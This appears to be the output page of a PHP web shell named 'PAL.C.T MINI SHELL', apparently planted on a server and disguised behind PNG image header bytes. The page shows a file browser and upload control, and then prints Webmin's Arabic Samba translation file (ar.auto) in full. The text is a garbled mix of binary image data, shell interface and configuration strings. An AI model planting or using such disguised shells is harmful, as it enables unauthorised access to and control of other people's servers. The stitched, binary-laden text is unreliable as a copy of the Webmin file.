php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/samba/lang/
upload
files >> //usr/libexec/webmin/samba/lang/ar.auto

index_title=Samba Windows File Sharing
index_sharelist=قائمة المشاركة
index_userlist=قائمة المستخدم
index_fileshare=مشاركة الملف
index_printershare=مشاركة الطابعة
index_shareconf=تكوين حصة
index_version=إصدار Samba$1
index_samba=سامبا

index_sharename=شارك الاسم
index_path=مسار
index_security=الأمان
index_homedir=جميع الدلائل الرئيسية
index_allprinter=جميع الطابعات
index_printer=طابعة
index_defaultprn=الطابعة الافتراضية
index_printableto=للطباعة
index_prneveryone=قابل للطباعة للجميع
index_prnalluser=قابل للطباعة لجميع المستخدمين المعروفين
index_rwpublic=القراءة/الكتابة للجميع
index_readonly=قراءة فقط لـ$1 <br> قراءة/كتابة لجميع المستخدمين المعروفين الآخرين
index_rwalluser=القراءة/الكتابة لجميع المستخدمين المعروفين
index_roeveryone=اقرأ فقط للجميع
index_readwrite=قراءة/كتابة إلى$1 <br> للقراءة فقط لكافة المستخدمين المعروفين الآخرين
index_roalluser=قراءة فقط لجميع المستخدمين المعروفين
index_noshares=لم يتم تحديد أسهم سامبا
index_createfileshare=إنشاء مشاركة ملف جديدة.
index_createprnshare=إنشاء مشاركة طابعة جديدة.
index_createcopy=قم بإنشاء نسخة جديدة.
index_view=عرض جميع الاتصالات.
index_start=ابدأ خوادم سامبا
index_start_wb=بدء تشغيل خوادم Winbind
index_startmsg=لا يبدو أن خوادم Samba تعمل على نظامك. وهذا يعني أن المشاركات المدرجة أعلاه لن تكون متاحة لأجهزة الكمبيوتر الأخرى.
index_startmsg_wb=لا يبدو أن خوادم Winbind تعمل على نظامك.
index_restart=إعادة تشغيل خوادم سامبا
index_restart_wb=أعد تشغيل خوادم Winbind
index_restartmsg=انقر فوق هذا الزر لإعادة تشغيل خوادم Samba قيد التشغيل على نظامك. سيؤدي ذلك إلى فرض التكوين الحالي ليتم تطبيقه.
index_restartmsg_wb=انقر فوق هذا الزر لإعادة تشغيل خوادم Winbind قيد التشغيل على نظامك.
index_restartmsg2=سيؤدي ذلك أيضًا إلى فصل أي اتصالات بالخادم ، لذلك إذا كنت لا تريد تطبيق التكوين الحالي على الفور ، فيجب عليك الانتظار لمدة دقيقة واحدة حتى يعيد سامبا تحميل التكوين تلقائيًا.
index_stop=أوقفوا خوادم سامبا
index_stop_wb=إيقاف خوادم Winbind
index_stopmsg=انقر فوق هذا الزر لإيقاف تشغيل خوادم Samba قيد التشغيل على نظامك. سيتم قطع اتصال جميع المستخدمين الذين تم تسجيل دخولهم حاليًا بالقوة.
index_stopmsg_wb=انقر فوق هذا الزر لإيقاف تشغيل خوادم Winbind قيد التشغيل على نظامك.
index_einclude=تحذير - يحتوي ملف تكوين Samba $1 على التوجيه$2 أو$3. قد يتسبب هذا في Webmin لتعديل الملف بشكل غير صحيح.
index_delete=حذف الأسهم المختارة

config_mins=دقائق
config_secs=ثانية
config_bytes=بايت
config_never=أبدا
config_all=الكل
config_neither=لا هذا ولا ذاك

global_title=التكوين العام
global_unixnetwork=شبكات يونكس
global_winnetwork=شبكات ويندوز
global_auth=المصادقة
global_printing=ويندوز للطباعة يونكس
global_misc=الخيارات المتنوعة
global_filedefault=افتراضيات مشاركة الملف
global_prndefault=افتراضيات مشاركة الطابعة
global_password=كلمات المرور المشفرة
global_users=مستخدمو سامبا
global_group=مجموعات سامبا
global_bind=خيارات Winbind

error_nosamba=لم يتم العثور على خادم Samba القابل للتنفيذ <tt>$1</tt>. إما أن Samba غير مثبت على نظامك أو أن <a href="$2">تهيئة الوحدة النمطية</a> غير صحيحة.
error_version=فشل Webmin في الحصول على إصدار خادم Samba القابل للتنفيذ <tt>$1</tt>. تحقق من <a href="$2">تهيئة الوحدة النمطية</a> للتأكد من أن هذا هو المسار الصحيح.
error_config=لم يتم العثور على ملف التكوين$1. على الأرجح لم يتم تثبيت Samba على نظامك ، أو أن <a href="$2">تهيئة الوحدة النمطية</a> غير صحيحة.
error_include=لا يمكن لـ Webmin معالجة ملفات تكوين Samba التي تستخدم أوامر <tt>config</tt> أو <tt>include</tt>.
error_delshare=فشل حذف المشاركة
error_delcopy=نسخ المشاركة '$1' من هذه المشاركة
error_savename=فشل في حفظ تسمية الملف

convert_title=تحويل المستخدمين
convert_msg=يسمح لك هذا النموذج بمزامنة قائمة مستخدمي Unix و Samba. عندما يستخدم Samba <a href=$1>كلمات المرور المشفرة</a> ، يتم استخدام قائمة منفصلة من المستخدمين وكلمات المرور بدلاً من قائمة مستخدمي النظام.
convert_noconv=لا تقم بتحويل أو إزالة هؤلاء المستخدمين:
convert_ncdesc=يمكن أن تحتوي قائمة المستخدمين الذين لم يتم تحويلهم على أسماء مستخدمين أو معرّفات UID أو أسماء مجموعات مسبوقة بنطاقات <tt>@</tt> أو UID مثل <i>500-1000</i> أو <i>500 -</ i >.
convert_update=تحديث مستخدمي Samba الحاليين من تفاصيل Unix الخاصة بهم
convert_add=إضافة مستخدمين Samba جدد من قائمة مستخدمي Unix
convert_delete=حذف مستخدمي Samba غير الموجودين تحت Unix
convert_newuser=بالنسبة للمستخدمين الذين تم إنشاؤهم حديثًا ، قم بتعيين كلمة المرور على:
convert_nopasswd=لا توجد كلمة مرور
convert_lock=الحساب مغلق
convert_passwd=استخدم كلمة المرور هذه
convert_convert=تحويل المستخدمين
convert_cannot=لا يمكن تحويل مستخدمي Unix إلى مستخدمي Samba
convert_who=مستخدمي يونكس للتحويل
convert_who0=نطاقات المستخدمين أو UID المدرجين فقط
convert_who1=جميع باستثناء المستخدمين المدرجة ونطاقات UID

misc_title=الخيارات المتنوعة
misc_debug=مستوى التصحيح
misc_cachecall=هل تريد إجراء مكالمات <tt>getwd ()</tt> في ذاكرة التخزين المؤقت؟
misc_lockdir=دليل القفل
misc_log=ملف تسجيل
misc_maxlog=الحد الأقصى لحجم السجل
misc_rawread=السماح بقراءة الخام؟
misc_rawwrite=السماح بكتابة الخام؟
misc_overlapread=تداخل حجم القراءة
misc_chroot=<tt>دليل chroot ()</tt>
misc_smbrun=المسار إلى <tt>smbrun</tt>
misc_clienttime=تعويض وقت العميل
misc_readprediction=قراءة التنبؤ؟

net_title=خيارات شبكات يونكس
net_idle=وقت الخمول قبل قطع الاتصال
net_trustlist=ملف المضيفين/المستخدمين الموثوق بهم
net_netinterface=واجهات الشبكة
net_auto=تلقائي
net_uselist=استخدم القائمة. ..
net_interface=واجهه المستخدم
net_netmask=قناع الشبكة
net_keepalive=الحزم Keepalive
net_notsend=لا ترسل أي
net_every=أرسل كل
net_maxpacket=أقصى حجم للحزمة
net_listen=استمع على العنوان
net_ip=عنوان IP
net_socket=خيارات المقبس

passwd_title=خيارات كلمة المرور
passwd_encrypt=هل تستخدم كلمات مرور مشفرة؟
passwd_allownull=السماح بكلمات المرور الفارغة؟
passwd_program=برنامج كلمة المرور
passwd_case=اختلاف حالة كلمة المرور
passwd_sync=هل تريد تغيير كلمة مرور Unix أيضًا؟
passwd_chat=تغيير دردشة كلمة المرور
passwd_below=المدرجة أدناه:
passwd_waitfor=أنتظر لأجل
passwd_send=إرسال
passwd_map=تعيين اسم المستخدم
passwd_unixuser=مستخدمو Unix
passwd_winuser=مستخدمو Windows

print_title=خيارات الطباعة
print_style=نمط الطباعة يونيكس
print_show=عرض جميع الطابعات؟
print_printcap=ملف Printcap
print_cachetime=وقت ذاكرة التخزين المؤقت لحالة الطابعة

smb_title=خيارات شبكات Windows
smb_workgroup=مجموعة العمل
smb_wins=وضع WINS
smb_winsserver=يكون خادم WINS
smb_useserver=استخدم الخادم
smb_description=وصف الخادم
smb_descriptionnone=لا يوجد
smb_name=اسم الخادم
smb_aliase=الأسماء المستعارة للخادم
smb_default=الخدمة الافتراضية
smb_show=إظهار الخدمات دائمًا
smb_disksize=تم الإبلاغ عن الحد الأقصى لحجم القرص
smb_unlimited=غير محدود
smb_winpopup=أمر Winpopup
smb_priority=أولوية المستعرض الرئيسي
smb_protocol=أعلى بروتوكول
smb_master=متصفح رئيسي؟
smb_master_auto=تلقائي
smb_security=الأمان
smb_sharelevel=مستوى المشاركة
smb_userlevel=مستوى المستخدم
smb_passwdserver=خادم كلمة المرور
smb_server=خادم كلمة المرور
smb_domain=نطاق
smb_ads=الدليل النشط
smb_announce=تعلن عن بعد
smb_nowhere=لا مكان
smb_fromlist=من القائمة. ..
smb_ip=عنوان IP
smb_asworkgroup=<b>كمجموعة عمل</b> (اختياري)

create_title=إنشاء نسخة
create_msg=ترث نسخة المشاركة جميع قيمها الافتراضية من المشاركة التي تختارها. إذا تم تغيير مشاركة المصدر ، فستتغير النسخة أيضًا.
create_from=مشاركة للنسخ من:
create_name=اسم المشاركة الجديد:

smbuser_title=مستخدمو سامبا
smbuser_list=قائمة مستخدمي سامبا
smbuser_nouser=لم يتم تعريف مستخدمي سامبا.
smbuser_cannot=لا يمكن سرد مستخدمي Samba

euser_title=تحرير مستخدم Samba
euser_name=اسم المستخدم
euser_uid=Unix UID
euser_passwd=كلمه السر
euser_noaccess=ممنوع الدخول
euser_nopw=لا توجد كلمة مرور
euser_currpw=كلمة المرور الحالية
euser_newpw=كلمة مرور جديدة
euser_realname=الاسم الحقيقي
euser_homedir=الدليل الرئيسي
euser_shell=الصدف
euser_option=خيارات المستخدم
euser_normal=مستخدم عادي
euser_noexpire=لا تنتهي صلاحية كلمة المرور أبدًا
euser_locked=يتم تأمين الحساب
euser_nopwrequired=لا يلزم كلمة مرور
euser_disable=الحساب معطل
euser_trust=حساب أمانة محطة العمل

fmisc_title=افتراضيات ملف متنوعة
fmisc_for=للمشاركة <tt>$1</tt>
fmisc_lockfile=هل قفل الملف؟
fmisc_maxconn=اتصالات ماكس
fmisc_fake=oplocks وهمية؟
fmisc_oplocks=تمكين oplocks؟
fmisc_level2=oplocks للقراءة فقط؟
fmisc_sharemode=هل تريد استخدام أوضاع المشاركة؟
fmisc_strict=قفل صارم؟
fmisc_sync=تزامن بعد أن يكتب؟
fmisc_volume=اسم وحدة التخزين
fmisc_sameas=نفس المشاركة
fmisc_unixdos=مخطط اسم ملف Unix-DOS
fmisc_conncmd=الأمر للتشغيل على الاتصال
fmisc_disconncmd=الأمر للتشغيل عند قطع الاتصال
fmisc_rootconn=الأمر للتشغيل على ربط <i>كجذر</i>
fmisc_rootdisconn=أمر للتشغيل عند قطع الاتصال <i>كجذر</i>

fname_title1=افتراضيات تسمية الملف
fname_title2=تحرير تسمية الملف
fname_option=خيارات تسمية الملف
fname_manglecase=حالة مانجلي؟
fname_case=حساسية الموضوع؟
fname_defaultcase=الحالة الافتراضية؟
fname_lower=خفض
fname_upper=العلوي
fname_preserve=حفظ القضية؟
fname_shortpreserve=حالة حفظ قصيرة؟
fname_hide=إخفاء الملفات النقطية؟
fname_archive=حفظ إشارة أرشيف DOS؟
fname_hidden=حفظ إشارة DOS المخفية؟
fname_system=حفظ علامة نظام DOS؟

fperm_title1=افتراضيات أذونات الملف
fperm_title2=تحرير أذونات الملف
fperm_option=خيارات إذن الملف
fperm_filemode=وضع ملف Unix جديد
fperm_dirmode=وضع دليل يونكس الجديد
fperm_notlist=الدلائل ليست قائمة
fperm_forceuser=فرض مستخدم Unix
fperm_forcegrp=مجموعة Force Unix
fperm_link=السماح بروابط رمزية خارج المشاركة؟
fperm_delro=يمكن حذف الملفات للقراءة فقط؟
fperm_forcefile=فرض وضع ملف Unix
fperm_forcedir=فرض وضع دليل يونكس

share_title1=افتراضيات مشاركة الملف
share_title2=تحرير مشاركة الملف
share_title3=إنشاء مشاركة ملف
share_info=مشاركة المعلومات
share_copy=هذه المشاركة هي نسخة من <i>$1</i>
share_name=شارك الاسم
share_home=الدلائل الرئيسية
share_dir=دليل للمشاركة
share_create=هل تريد إنشاء دليل تلقائيًا؟
share_owner=إنشاء مع المالك
share_createperms=إنشاء بأذونات
share_group=إنشاء مع المجموعة
share_available=متاح؟
share_browseable=للتصفح؟
share_comment=حصة تعليق
share_view=عرض الاتصالات
share_option=خيارات المشاركة الأخرى
share_security=الأمن والتحكم في الوصول
share_permission=أذونات الملف
share_naming=تسمية الملف
share_misc=الخيارات المتنوعة
share_samedesc1=ملاحظة - تؤثر هذه الإعدادات أيضًا على الإعدادات الافتراضية لجميع مشاركات الملفات.
share_samedesc2=ملاحظة - تؤثر هذه الإعدادات أيضًا على الإعدادات الافتراضية لجميع مشاركات الطابعة.

print_title1=افتراضيات خيار الطابعة
print_title2=تحرير خيارات الطابعة
print_option=خيارات الطابعة
print_minspace=الحد الأدنى من المساحة الحرة
print_postscript=فرض طباعة بوستسكريبت
print_command=أمر الطباعة
print_queue=عرض أمر قائمة الانتظار
print_delete=حذف أمر الوظيفة
print_pause=وقفة أمر العمل
print_unresume=أمر استئناف العمل
print_driver=برنامج تشغيل الطابعة

pshare_title1=افتراضيات مشاركة الطابعة
pshare_title2=تحرير مشاركة الطابعة
pshare_title3=إنشاء مشاركة طابعة
pshare_info=مشاركة المعلومات
pshare_name=شارك الاسم
pshare_all=مشاركة جميع الطابعات
pshare_unixprn=طابعة يونكس
pshare_spool=دليل التخزين المؤقت

sec_index1=افتراضيات الأمن
sec_index2=تحرير الأمان
sec_writable=قابل للكتابة؟
sec_guest=مدخل للضيوف؟
sec_guestonly=ضيف فقط
sec_guestaccount=مستخدم ضيف Unix
sec_limit=هل تريد الحد من القائمة المحتملة؟
sec_allowhost=تستضيف للسماح
sec_onlyallow=السماح فقط
sec_denyhost=تستضيف لرفض
sec_onlydeny=ينكر فقط
sec_revalidate=إعادة التحقق من المستخدمين؟
sec_validuser=مستخدمون صالحون
sec_validgroup=مجموعات صالحة
sec_invaliduser=المستخدمون غير صالحين
sec_invalidgroup=مجموعات غير صالحة
sec_possibleuser=المستخدمون المحتملون
sec_possiblegroup=المجموعات المحتملة
sec_rouser=قراءة المستخدمين فقط
sec_rogroup=قراءة المجموعات فقط
sec_rwuser=قراءة/كتابة المستخدمين
sec_rwgroup=مجموعات القراءة/الكتابة

esync_title=تزامن المستخدم
esync_msg=يمكن تكوين Webmin بحيث يتم تطبيق التغييرات على قائمة مستخدمي Unix تلقائيًا على قائمة مستخدمي Samba. لن يعمل هذا إلا عند استخدام وحدة Webmin <b>Users and Groups</b> لإضافة مستخدمين أو حذفهم أو تغييرهم.
esync_add=إضافة مستخدم Samba عند إضافة مستخدم Unix
esync_chg=قم بتغيير مستخدم Samba عند تغيير مستخدم Unix
esync_del=حذف مستخدم Samba عند حذف مستخدم Unix
esync_del_profile=حذف ملف التعريف المتجول عند حذف مستخدم Unix
esync_chg_profile=إعادة تسمية التشكيل الجانبي المتجول عند إعادة تسمية مستخدم Unix
esync_gid=مجموعة SID أو RID للمستخدمين الجدد
esync_apply=تطبيق
esync_cannot=لا يمكن تكوين مزامنة المستخدم
esync_egid=مجموعة SID أو RID مفقودة

mkpass_title=تحويل المستخدمين
mkpass_convfail=فشل تحويل المستخدم
mkpass_msg=جاري تحويل مستخدمي Unix. ..
mkpass_skip=تم التخطي
mkpass_same=بالفعل نفس الشيء
mkpass_update=محدث
mkpass_added=تمت الإضافة
mkpass_del=تم الحذف
mkpass_passfail=فشل في تعيين كلمة المرور
mkpass_user=اسم المستخدم
mkpass_action=تم اتخاذ فعل
mkpass_skipcount=تم تخطي$1 من المستخدمين للتحويل.

savecopy_fail=فشل في إنشاء نسخة
savecopy_global=لا يمكن استخدام الاسم "عالمي" للمشاركة
savecopy_exist=توجد مشاركة تسمى "$1" بالفعل
savecopy_ename=لم يتم إدخال اسم مشاركة

saveuser_fail=فشل في حفظ المستخدم
saveuser_uid=إن '$1' ليس معرفًا صالحًا لـ Unix UID
saveuser_colon=لا يمكن أن يحتوي الاسم الحقيقي على الحرف :
saveuser_home=الدليل الرئيسي '$1' غير موجود
saveuser_shell=$1 ليس غلافًا صالحًا
saveuser_pass=فشل تغيير كلمة المرور باستخدام smbpasswd :$1
saveuser_ews=لا يمكن تمكين خيار "حساب محطة العمل الموثوق به" للمستخدمين الحاليين

savefmisc_fail=فشل في حفظ الخيارات المتنوعة
savefmisc_number=لا يعد '$1' عددًا صحيحًا من الاتصالات

savefperm_fail=فشل في حفظ أذونات الملف
savefperm_mode=إن '$1' ليس وضع ملف Unix صالحًا

savefshare_fail=فشل في حفظ المشاركة
savefshare_nopath=لا يوجد مسار معين
savefshare_exist=توجد مشاركة تسمى "$1" بالفعل
savefshare_mode=إن '$1' ليس اسم مشاركة صالحًا
savefshare_global=لا يمكن استخدام الاسم "عالمي" للمشاركة
savefshare_owner=مالك مفقود أو غير صالح للدليل الجديد
savefshare_group=مجموعة مفقودة أو غير صالحة للدليل الجديد
savefshare_perms=أذونات مفقودة أو غير صالحة للدليل الجديد
savefshare_emkdir=فشل في إنشاء الدليل :$1

savemisc_fail=فشل في حفظ الخيارات
savemisc_lockdir=الدليل الذي يحتوي على دليل القفل غير موجود
savemisc_logdir=الدليل الذي يحتوي على ملف السجل غير موجود
savemisc_logsize=إن '$1' ليس حجم سجل صالح
savemisc_overlap=إن '$1' ليس حجم قراءة متداخلاً صالحًا
savemisc_chroot=دليل chroot '$1' غير موجود
savemisc_smbrun=برنامج smbrun '$1' غير موجود أو غير قابل للتنفيذ
savemisc_time=إن '$1' ليس إزاحة وقت صالحة

savenet_fail=فشل في حفظ الخيارات
savenet_timeout=لا يعد '$1' مهلة قطع اتصال صالحة
savenet_ip=إن '$1' ليست بايت IP صالحًا
savenet_keep=إن '$1' ليس فترة احتفاظ صالحة
savenet_maxxmit=لا يعد '$1' الحد الأقصى الصحيح لحجم الحزمة

savepass_fail=فشل في حفظ الخيارات
savepass_nopass=نسختك من Samba لا تدعم كلمات المرور المشفرة
savepass_passwd=لا يوجد برنامج لتغيير كلمة المرور
savepass_level=لا يعد '$1' فرقًا صالحًا لحالة كلمة المرور
savepass_chat=تسلسل تغيير كلمة المرور فارغ

savepopts_fail=فشل حفظ خيارات الطابعة
savepopts_number=يجب أن يكون الحد الأدنى للمساحة الخالية رقمًا

saveprint_fail=فشل في حفظ الخيارات
saveprint_printcap=ملف printcap '$1' غير موجود
saveprint_cache=إن '$1' ليس وقت ذاكرة تخزين مؤقت صالح

savepshare_fail=فشل حفظ مشاركة الطابعة
savepshare_exist=توجد مشاركة تسمى "$1" بالفعل
savepshare_name=إن '$1' ليس اسم مشاركة صالحًا
savepshare_global=لا يمكن استخدام الاسم "عالمي" للمشاركة

savesec_fail=فشل في حفظ الأمن

savesmb_fail=فشل في حفظ الخيارات
savesmb_size=إن '$1' ليس حجم قرص صالح
savesmb_oslevel=لا يعد '$1' أولوية مستعرض رئيسية صالحة
savesmb_server=يجب عليك إدخال خادم كلمة المرور

start_err=فشل بدء تشغيل خوادم Samba
start_fail=فشل$1
start_err_wb=فشل بدء تشغيل خوادم Winbind

restart_err=فشل إعادة تشغيل خوادم Samba
restart_err_wb=فشل إعادة تشغيل خوادم Winbind

swats_fail=فشل في حفظ اسم المستخدم
swats_user=اسم مستخدم SWAT مفقود

viewu_index=المستخدمين الحاليين
viewu_list=المستخدمون الحاليون لـ$1
viewu_share=شارك
viewu_user=المستعمل
viewu_group=مجموعة
viewu_from=متصل من
viewu_time=متصل في
viewu_pid=معرف العمليه
viewu_msg1=انقر فوق معرف العملية من القائمة أعلاه لقطع اتصال هذا المستخدم.
viewu_msg2=لا يوجد مستخدمون متصلون حاليًا.
viewu_locks=الملفات المفتوحة
viewu_none=لا يوجد
viewu_ecmd=برنامج حالة Samba $1 لا يبدو مثبتًا على نظامك. ربما تكون <a href='$2'>تهيئة الوحدة النمطية</a> غير صحيحة.
viewu_kill=افصل المستخدمين المحددين
viewu_enone=لم يتم تحديد مستخدمين
viewu_refresh=إعادة تحميل الصفحة.

log_apply=إعادة تشغيل خوادم سامبا
log_apply_wb=إعادة تشغيل خوادم Winbind
log_stop=توقف خوادم سامبا
log_stop_wb=توقف خوادم Winbind
log_start=بدأت خوادم سامبا
log_start_wb=بدأت خوادم Winbind
log_save_fshare=مشاركة ملف معدل$1
log_save_pshare=مشاركة طابعة معدلة$1
log_save_sec=تعديل الأمان والتحكم في الوصول للمشاركة$1
log_save_fperm=أذونات الملفات المعدلة للمشاركة$1
log_save_fname=تسمية ملف معدلة للمشاركة$1
log_save_fmisc=خيارات متنوعة معدلة للمشاركة$1
log_save_popts=خيارات الطابعة المعدلة للمشاركة$1
log_default_fshare=افتراضيات مشاركة ملف تم تغييرها
log_default_pshare=تغيير افتراضيات مشاركة الطابعة
log_kill=عملية غير متصلة$1
log_skill=عملية غير متصلة$1 من المشاركة$2
log_kills=عمليات $1 غير متصلة
log_skills=عمليات $1 غير متصلة من المشاركة$2
log_create_fshare=مشاركة ملف تم إنشاؤه$1
log_create_pshare=مشاركة طابعة تم إنشاؤها$1
log_delete_fshare=مشاركة الملفات المحذوفة$1
log_delete_pshare=مشاركة الطابعة المحذوفة$1
log_delete_shares=تم حذف$1 سهم
log_net=تغيير خيارات شبكات يونكس
log_smb=تغيير خيارات شبكات Windows
log_pass=خيارات المصادقة التي تم تغييرها
log_print=تغيير خيارات الطباعة إلى Windows ليونيكس
log_misc=تغيير خيارات متنوعة
log_bind=تغيير خيارات Winbind
log_sync=مزامنة مستخدم Unix
log_epass=تم تحويل مستخدمي Unix إلى مستخدمي Samba
log_epass_l=تم تحويل مستخدمي Unix إلى مستخدمي Samba (تم إنشاء$1 وتعديل$2 وحذف$3)
log_copy=تم نسخ المشاركة$2 إلى$1
log_save_euser=مستخدم Samba معدل$1
log_delete_euser=تم حذف مستخدم Samba$1
log_create_group=إنشاء مجموعة Samba$1
log_modify_group=مجموعة Samba معدلة$1
log_delete_group=مجموعة سامبا المحذوفة$1
log_gsync=مزامنة مجموعة Unix
log_manual=تم تحرير ملف التكوين يدويًا$1

swat_title=تسجيل الدخول إلى SWAT
swat_list=تسجيل الدخول إلى SWAT
swat_msg1=اسم المستخدم وكلمة المرور الحاليين لـ SWAT الخاصين بك غير صحيحين. استخدم النموذج أدناه لتسجيل الدخول مرة أخرى.
swat_msg2=مطلوب اسم المستخدم وكلمة المرور لتسجيل الدخول إلى SWAT. يمكن أن يكون هذا عادةً أي مستخدم على نظامك.
swat_msg3=لا يمكنك تشغيل SWAT من خلال Webmin ، حيث أن تكوين Samba الخاص بك لديه مجموعة خيارات <tt>$1:...</tt> (السماح بالمضيفات).
swat_msg4=ومع ذلك ، قد تتمكن من الاتصال بـ SWAT مباشرة على$1
swat_username=اسم المستخدم
swat_password=كلمه السر
swat_login=تسجيل الدخول
swat_clear=واضح
swat_logout=تسجيل الخروج من SWAT

eacl_aviol=انتهاك التحكم في الوصول
eacl_np=ليس لديك أذونات ل
eacl_papply=إعادة تشغيل هذه الخدمة
eacl_pcn=تحرير خيارات الشبكات يونيكس
eacl_pcs=تحرير خيارات الشبكات smb
eacl_pcp=تحرير خيارات كلمة المرور
eacl_pcprint=تحرير خيارات الطباعة
eacl_pcm=تحرير خيارات متنوعة
eacl_pcswat=استخدام SWAT
eacl_pcopy=نسخ الأسهم
eacl_pconn_all=عرض جميع الاتصالات
eacl_pconn=عرض الاتصالات لهذه المشاركة
eacl_pgkill=قتل الروابط
eacl_pkill=قتل هذا الاتصال
eacl_pus=مشاركة التحديث
eacl_pcrs=إنشاء حصة
eacl_pds=حذف المشاركة
eacl_pusec=تحديث خيارات الأمان والتحكم في الوصول لهذه المشاركة
eacl_pufperm=تحديث خيارات أذونات الملف لهذه المشاركة
eacl_pufname=تحديث خيارات تسمية الملف لهذه المشاركة
eacl_pufmisc=تحديث متفرقات. خيارات لهذه المشاركة
eacl_pupopt=تحديث خيارات الطابعة لهذه المشاركة
eacl_pmpass=تهيئة قاعدة بيانات مستخدمي Samba
eacl_pmsync=الحفاظ على مزامنة مستخدمي Unix-Samba
eacl_pmusers=الحفاظ على مستخدمي سامبا
eacl_pvusers=الوصول إلى مستخدمي سامبا
eacl_pvfmisc=متفرقات الوصول. خيارات لهذه المشاركة
eacl_pvfname=الوصول إلى خيارات تسمية الملف لهذه المشاركة
eacl_pvperm=خيارات أذونات الوصول إلى الملف لهذه المشاركة
eacl_pvsec=الوصول إلى الأمان وخيارات التحكم في الوصول لهذه المشاركة
eacl_pvpopt=الوصول إلى خيارات الطابعة لهذه المشاركة
eacl_pafs=الوصول إلى مشاركة هذا الملف
eacl_paps=الوصول إلى مشاركة هذه الطابعة
eacl_pcps=إنشاء مشاركة الطابعة
eacl_pcfs=إنشاء مشاركة ملف

acl_apply=يمكن تطبيق التغييرات ووقف سامبا؟
acl_view_all_con=يمكن عرض جميع الاتصالات؟
acl_kill_con=يمكن إزالة الاتصالات؟
acl_conf_net=يمكن تكوين خيارات شبكة يونكس؟
acl_conf_smb=يمكن تكوين خيارات شبكة Windows؟
acl_conf_pass=يمكن تكوين خيارات المصادقة؟
acl_conf_print=يمكن تكوين خيارات الطابعات؟
acl_conf_misc=يمكن تكوين متفرقات. خيارات؟
acl_swat=يمكن استخدام SWAT؟
acl_manual=يمكن تحرير ملف التكوين يدويا؟
acl_enc_passwd_opts=خيارات كلمة المرور المشفرة
acl_view_users=يمكن عرض قاعدة بيانات مستخدمي Samba؟
acl_maint_users=يمكن تحرير مستخدمي سامبا؟
acl_maint_makepass=يمكن تحويل مستخدمي يونكس لمستخدمي سامبا؟
acl_maint_sync=هل يمكن الحفاظ على مزامنة Unix التلقائية لمستخدمي Samba؟
acl_hide=إخفاء الأشياء التي يتعذر الوصول إليها؟
acl_c=خلق
acl_r=اقرأ
acl_w=اكتب
acl_afs=مشاركات ملف الوصول
acl_aps=الوصول إلى مشاركات الطباعة
acl_copy=يمكن نسخ الأسهم؟
acl_per_fs_acls=تمكين قوائم التحكم بالوصول لكل ملف مشاركة؟
acl_per_ps_acls=تمكين قوائم ACL لكل مشاركة؟
acl_per_share_acls=قوائم ACL لكل سهم. ..
acl_ernow=إذا كنت تريد تمكين الوصول للكتابة في قوائم ACL العالمية لبعض أنواع الكائنات ، فيجب عليك أيضًا تمكين الوصول للقراءة لهذا النوع من الكائنات.
acl_sname=شارك الاسم
acl_saccess=حصة الوصول
acl_sconn=روابط
acl_sopthdr=مشاركة الخيارات
acl_ssec=الأمان
acl_sperm=أذونات
acl_snaming=تسمية الملف
acl_smisc=متنوع
acl_sprn=أو الطابعة
acl_na=غير متوفر
acl_r1=يقرأ فقط
acl_rw=قراءة و كتابة
acl_view=رأي
acl_kill=قتل
acl_edit=تعديل
acl_group_opts=خيارات مجموعة سامبا
acl_maint_groups=يمكن عرض وتحرير وإضافة مجموعات؟
acl_maint_gsync=هل يمكن الحفاظ على مزامنة مجموعات Unix مع Samba تلقائيًا؟
acl_winbind=يمكن ربط المجالات؟
acl_bind=يمكن الوصول إلى خيارات winbind؟

groups_title=مجموعات سامبا
groups_name=أسم المجموعة
groups_unix=مجموعة يونكس
groups_nounix=لا يوجد
groups_type=اكتب
groups_type_d=مجموعة المجال
groups_type_b=بنيت NT
groups_type_l=مجموعة محلية
groups_type_u=مجهول
groups_sid=SID
groups_none=لم يتم تحديد مجموعات سامبا حتى الآن.
groups_return=قائمة المجموعات
groups_add=إضافة مجموعة سامبا جديدة.
groups_ecannot=غير مسموح لك بعرض أو تعديل مجموعات سامبا
groups_cannot=لا يمكن إدراج مجموعات سامبا

gedit_title2=تحرير مجموعة سامبا
gedit_title1=إنشاء مجموعة سامبا
gedit_header=تفاصيل مجموعة سامبا
gedit_name=أسم المجموعة
gedit_type=نوع المجموعة
gedit_sid=مجموعة SID
gedit_desc=وصف
gedit_priv=امتيازات
gedit_unix=مجموعة يونكس
gedit_unixgr=مجموعة ..
gedit_none=لا يوجد
gedit_set=مدرج ..

gsave_err=فشل في حفظ المجموعة
gsave_eunix=اسم مجموعة Unix أو GID مفقود أو غير صالح
gsave_ename=اسم المجموعة مفقود
gsave_epriv=امتيازات المجموعة مفقودة
gsave_elocal=يمكن تعيين الامتيازات فقط للمجموعات المحلية

gsync_title=تزامن المجموعة
gsync_msg=يمكن تكوين Webmin بحيث يتم تطبيق التغييرات على قائمة مجموعة Unix تلقائيًا على قائمة مجموعة Samba. لن يعمل هذا إلا عند استخدام وحدة Webmin <b>Users and Groups</b> لإضافة المجموعات أو حذفها أو تغييرها.
gsync_add=أضف مجموعة Samba عند إضافة مجموعة Unix
gsync_chg=قم بتغيير مجموعة Samba عند تغيير مجموعة Unix
gsync_del=حذف مجموعة Samba عند حذف مجموعة Unix
gsync_apply=تطبيق
gsync_type=نوع المجموعات الجديدة
gsync_priv=امتيازات المجموعات الجديدة (إذا كانت محلية)
gsync_ecannot=لا يسمح لك بتكوين تزامن المجموعة
gsync_cannot=لا يمكن تكوين مزامنة المجموعة

check_user1=$1: لم يتم تمكين كلمات المرور المشفرة في صفحة <a href='$2'>المصادقة</a>.
check_user2=$1: لم يتم تعيين ملف كلمة مرور Samba أو مسار pdbedit على صفحة <a href='$2'>تهيئة الوحدة النمطية</a>.
check_group1=$1: المجموعات مدعومة فقط في الإصدار 3 من Samba.
check_group2=$1: لم يتم تعيين مسار أوامر smbgroupedit أو net على صفحة <a href='$2'>تكوين الوحدة النمطية</a>.

winbind_title=ربط المجال
winbind_ecannot=لا يسمح لك بالربط مع المجالات
winbind_msg=يمكن استخدام هذا النموذج لربط خادم Samba الخاص بك بمجال Windows ، تتم إدارته عادةً بواسطة خادم مختلف.
winbind_header=ربط بمجال Windows
